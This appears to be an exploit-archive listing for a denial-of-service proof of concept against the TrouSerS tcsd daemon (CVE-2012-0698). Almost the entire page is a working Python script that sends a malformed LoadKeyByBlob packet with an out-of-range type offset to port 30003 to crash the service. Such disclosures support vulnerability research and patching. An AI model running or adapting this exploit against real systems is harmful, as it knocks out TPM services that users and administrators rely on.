exploit the possibilities

TrouSerS Denial Of Service

TrouSerS Denial Of Service
Posted Nov 23, 2012
Authored by Andy Lutomirski

TrouSerS denial of service proof of concept exploit.

tags | exploit, denial of service, proof of concept
advisories | CVE-2012-0698
MD5 | af4be426cd123e2aa9aa4f1c65903c3b

TrouSerS Denial Of Service

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# crash_tcsd.py
# Copyright (c) 2012 Andy Lutomirski. All rights reserved.
#
# Permission is granted to anyone to copy and redistribute this file verbatim.
# Permission is *not* granted to distribute modified copies or derivative works.

import struct
import socket
import time

# UnloadBlob_PCR_EVENT also appears buggy.

crasher = struct.pack('>IIIIIII',
28, # packet_size = sizeof(tcsd_packet_hdr)
11, # ordinal: LoadKeyByBlob
1, # num_parms = 1 (so first getData doesn't bail)
0, # type_size = 0
0x80000000, # type_offset is off in lala land
0, # parm_size = 0 (skip checking)
28, # parm_offset: see getTCSDPacket
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
s.connect(('127.0.0.1', 30003))
s.send(crasher)
s.shutdown(socket.SHUT_WR)
s.close()

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